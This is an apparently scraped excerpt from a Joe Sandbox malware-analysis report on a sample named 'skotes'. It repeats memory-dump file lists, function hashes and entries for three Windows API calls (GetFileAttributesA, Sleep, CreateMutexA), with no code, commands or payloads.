Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 1d2fad77786ac744f472dc46c12279285bf935f762712957745a0a7825ae09a4
Instruction ID: c1533646e884ea30546b116f82fbb6f691b2eb3fb777ae51ec185d1e3ed79470
Opcode Fuzzy Hash: 1d2fad77786ac744f472dc46c12279285bf935f762712957745a0a7825ae09a4
Instruction Fuzzy Hash: AE316D71B04204CFFB08EB78DD897ADB7A6DBD2314F248258E424973D6D77559808B91

Function 00909CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00909CDD
Sleep.KERNEL32(00000064,?), ref: 0090A963
CreateMutexA.KERNEL32(00000000,00000000,00963254), ref: 0090A981

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: e4924f79a14c7459cc431b6ce42db28a88efe20b665c4cb2ed804be13e796041
Instruction ID: 91e4485a41e3e89269a2e842226c09b16d2f6abc06be81b41ddb2c7b3108f46d
Opcode Fuzzy Hash: e4924f79a14c7459cc431b6ce42db28a88efe20b665c4cb2ed804be13e796041
Instruction Fuzzy Hash: EC3168317042048FEB08EB78DC887ADB766DFC6314F248658E424973D6D77599808B91

Function 00909F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00909F47
Sleep.KERNEL32(00000064,?), ref: 0090A963
CreateMutexA.KERNEL32(00000000,00000000,00963254), ref: 0090A981

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 03d41238830d7c89080e8b5272096f41fe91edb142df4db12bbf7d31e577524c
Instruction ID: de511667964f05f2d832a3e61cf587c2d81d151b905fc042d59300b586fc319e
Opcode Fuzzy Hash: 03d41238830d7c89080e8b5272096f41fe91edb142df4db12bbf7d31e577524c
Instruction Fuzzy Hash: 2A318D317042059FEB08EB78DC887ADB7B6EBC6314F208658E424D73D1D77559808792

Function 0090A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0090A07C
Sleep.KERNEL32(00000064,?), ref: 0090A963
CreateMutexA.KERNEL32(00000000,00000000,00963254), ref: 0090A981

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7d688b5612ab5e60edde7396fa6ec3a050e9e16abc253851e047f89857f1aee9
Instruction ID: cbf0ef68e408d85ff3c0e3bccd5f604ac5e1df3609e8cc2c51e43048ec936a11
Opcode Fuzzy Hash: 7d688b5612ab5e60edde7396fa6ec3a050e9e16abc253851e047f89857f1aee9
Instruction Fuzzy Hash: 56314631B143049FEB08DB78CD89BADB776DBC2314F248268E424973D5D77699808B92

Function 0090A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0090A1B1
Sleep.KERNEL32(00000064,?), ref: 0090A963
CreateMutexA.KERNEL32(00000000,00000000,00963254), ref: 0090A981

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 369b73ac5ba6b48b3f23026840b1e57a11fcd6b1dcd127beed34bf4398052461
Instruction ID: aa13e7d5a9586a9204a492923a7f9c34def41f780720eaa02c07c09cb40c1a80
Opcode Fuzzy Hash: 369b73ac5ba6b48b3f23026840b1e57a11fcd6b1dcd127beed34bf4398052461
Instruction Fuzzy Hash: 7D316A317043059FEB08DB7CDC897ADB766ABC6314F208268E024972D1D77559808792

Function 0090A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0090A2E6
Sleep.KERNEL32(00000064,?), ref: 0090A963
CreateMutexA.KERNEL32(00000000,00000000,00963254), ref: 0090A981

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
